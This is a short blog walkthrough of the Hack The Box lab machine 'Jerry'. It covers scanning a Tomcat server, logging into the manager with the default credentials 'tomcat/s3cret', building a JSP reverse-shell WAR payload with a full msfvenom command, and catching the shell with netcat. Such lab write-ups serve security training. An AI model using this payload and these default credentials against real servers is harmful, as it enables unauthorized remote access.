HTB — Jerry

Raj Singh
2 min readSep 30, 2019

Machine ip — 10.10.10.95

Nmap

PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88

Here we just found port 8080 to be open after visiting there we get to know that Apache Tomcat 7.0.88 is running on it

After enumerating for a while we get manager app and then when we select it redirects us to a login popup after giving invalid creds it redirects us to 404 page where the username as password are shown in plain text

user named tomcat with a password of s3cret

Now we get username and password let’s try loggin in again we get the Tomcat Web Application Manager

There we get a upload option which uploads war files

So let’s make a .war payload with the use of msfvenom

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Now let’s upload this sheel1.war , and after uploading we get a new path in application manager shell1.war

So let’s start our nc at selected port

and call shell1.war form application manager

And here we get out system shell now we can access every file file in system 😉

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Raj Singh
Raj Singh

Written by Raj Singh

Security Researcher, Product Security Engineer

No responses yet